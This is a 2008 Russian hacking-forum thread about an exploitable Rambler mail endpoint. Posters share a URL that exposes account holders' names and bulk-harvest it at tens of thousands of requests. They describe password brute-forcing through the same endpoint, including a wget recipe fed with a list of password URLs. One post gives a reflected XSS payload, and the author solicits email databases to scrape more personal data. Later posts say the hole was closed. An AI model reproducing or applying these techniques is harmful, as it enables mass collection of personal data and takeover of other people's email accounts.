узнать ФамилиюИмя владельца мыла @rambler.ru

Discussion in 'Уязвимости Mail-сервисов' started by devton, 13 Jun 2008.

  1. devton

    devton Elder - Старейшина

    Joined:
    26 Oct 2007
    Messages:
    2,891
    Likes Received:
    3,892
    Reputations:
    41
    http://id.rambler.ru/script/reg.cgi?password=666&[email protected]

    достаточно просто открыть урл в бровзере - и увидите ЛюбаГиоргис - Firsname и Lastname - имя и фамилию, указанные владельцем мыла при регистрации ящика

    самое интересное - похоже, нет ограничений на интенсивность обращения к урлу - получилось сделать около 50.000 запросов со скоростью около 20 запросов\сек. Т.е. легко собрать именную базу мыл на Рамблере :)
     
    6 people like this.
  2. devton

    devton Elder - Старейшина

    Joined:
    26 Oct 2007
    Messages:
    2,891
    Likes Received:
    3,892
    Reputations:
    41
    П.С. с помощью этого урла можно еще и брутать пароль к ящику @rambler.ru
    Если в теле запрошенной страницы (например, http://id.rambler.ru/script/reg.cgi?password=666666&[email protected]) есть код:
    <status>1</status>
    значит пароль "666666" подошел!

    Учитывая отсутствие ограничений на кол-во\скорость подбора пароля получается неплохой "интерфейс" для брута :)
     
    1 person likes this.
  3. diman19911

    diman19911 Elder - Старейшина

    Joined:
    25 May 2008
    Messages:
    33
    Likes Received:
    8
    Reputations:
    0
    а если <status>2</status>
    то что тогда пароль не подходит?
     
  4. mad_xakep

    mad_xakep Banned

    Joined:
    10 Apr 2007
    Messages:
    195
    Likes Received:
    71
    Reputations:
    0
    хм правду работает! первый раз про это слышу! спс
     
  5. devton

    devton Elder - Старейшина

    Joined:
    26 Oct 2007
    Messages:
    2,891
    Likes Received:
    3,892
    Reputations:
    41
    мда блин :) используя етот status можно брутить пароли к рамбл-ящику чз веб-интерфейс
     
  6. SeTM

    SeTM Member

    Joined:
    11 Jun 2008
    Messages:
    11
    Likes Received:
    6
    Reputations:
    0
    причем очень легко...
     
  7. X-Venom

    X-Venom Banned

    Joined:
    29 Apr 2008
    Messages:
    580
    Likes Received:
    368
    Reputations:
    21
    Можна это все реализовать в брут пока бага еще свежая=)
     
  8. devton

    devton Elder - Старейшина

    Joined:
    26 Oct 2007
    Messages:
    2,891
    Likes Received:
    3,892
    Reputations:
    41
    реализовать в брут :)
    писать нич0 не надо - достаточно сгенерить или собрать файлик с паролями, перед каждым паролем вставить "http://id.rambler.ru/script/[email protected]&password=", сохранить файлик как "brute.txt", запустить:

    wget -i brute.txt

    и брут начнецца :)
     
  9. Sleep

    Sleep Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    261
    Likes Received:
    65
    Reputations:
    4
    Пасивная XSS
    http://id.rambler.ru/script/reg.cgi?username=<script>alert('XSS')</script>
     
  10. Vallez

    Vallez Elder - Старейшина

    Joined:
    25 Dec 2005
    Messages:
    89
    Likes Received:
    19
    Reputations:
    -8
    devton подскажи способ что бы быстро вставить ссылку перед каждым паролем )
     
  11. Sleep

    Sleep Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    261
    Likes Received:
    65
    Reputations:
    4
    Ограничение на подбор пароля есть :(
    после ~20 неправильных вводов пароля будет всегда выдавать
    Code:
    <status>2</status>
    а при попытке зайти с главной страницы будет просить ввода капчи :eek:
     
  12. devton

    devton Elder - Старейшина

    Joined:
    26 Oct 2007
    Messages:
    2,891
    Likes Received:
    3,892
    Reputations:
    41
    Sleep, молодца :)
    действительно, при подборе пароля к одному мыльнику ограничение имеецца :(
    радует то, что при сборе имен-фамилий по куче мыл ограничений пака нет

    Vallez, Htz Pro - это набор крохотных тулз, которые позволяют делать такие массовые подстановки/замены/вырезания
     
  13. dscan

    dscan Elder - Старейшина

    Joined:
    23 Feb 2007
    Messages:
    267
    Likes Received:
    127
    Reputations:
    15
    а что означают цифры после имени и фамилии? у одних 0027 или 0017 у других больше до 10 знаков
     
  14. devton

    devton Elder - Старейшина

    Joined:
    26 Oct 2007
    Messages:
    2,891
    Likes Received:
    3,892
    Reputations:
    41
    Открой код страницы...там xml, все станет ясно (сам ща не могу тк чз оперуМини)
     
  15. pixelm

    pixelm Elder - Старейшина

    Joined:
    4 Jan 2008
    Messages:
    26
    Likes Received:
    6
    Reputations:
    0
    интересная статейка, а на других почтовиках есть похожие фичи?
     
  16. devton

    devton Elder - Старейшина

    Joined:
    26 Oct 2007
    Messages:
    2,891
    Likes Received:
    3,892
    Reputations:
    41
    dscan, циферки типа 0017 это на самом деле вод чт0:
    LSPBirthDay>0</LSPBirthDay><LSPBirthMonth>0</LSPBirthMonth><LSPBirthYear></LSPBirthYear><LSPGender>1</LSPGender><LSPCountry>7</LSPCountry><LSPState></LSPState><LSPCity></LSPCity></PartnerData>
    те день рождения, год, страна итп. У тех, кто указал все ето, циферок боольше чем в данном случае :)

    pixelm, я ща ищу для других популярных русских служб...пока не наш0л
     
    1 person likes this.
  17. devton

    devton Elder - Старейшина

    Joined:
    26 Oct 2007
    Messages:
    2,891
    Likes Received:
    3,892
    Reputations:
    41
    Есть у кого относительно новая/полная/большая база мыльников рамблера? Я выкачал кучу файлов-миллионников с мылами, поискал среди них рамблеровские, отсортировал...в итоге чуть меньше 100.000 мыльников

    Просто есть возможость собрать инфу по базе практически любого размера...подкинул бы кто базу валидных мылл рамблера
     
  18. devton

    devton Elder - Старейшина

    Joined:
    26 Oct 2007
    Messages:
    2,891
    Likes Received:
    3,892
    Reputations:
    41
    Рамблер от детишек прикрылса...альтернативный интерфейс есть, но с сегодняшнего дня и там ФИО не выдаецца :(
     
    #18 devton, 29 Jun 2008
    Last edited: 29 Jun 2008
  19. gangs

    gangs New Member

    Joined:
    30 Jun 2008
    Messages:
    14
    Likes Received:
    3
    Reputations:
    -3
    ребят я новичёк в етом деле....обьясните че почем!!!)))плззззз!! :)
     
  20. ziz1i

    ziz1i Member

    Joined:
    18 Jun 2008
    Messages:
    6
    Likes Received:
    6
    Reputations:
    0
    Уже не работает
     
Loading...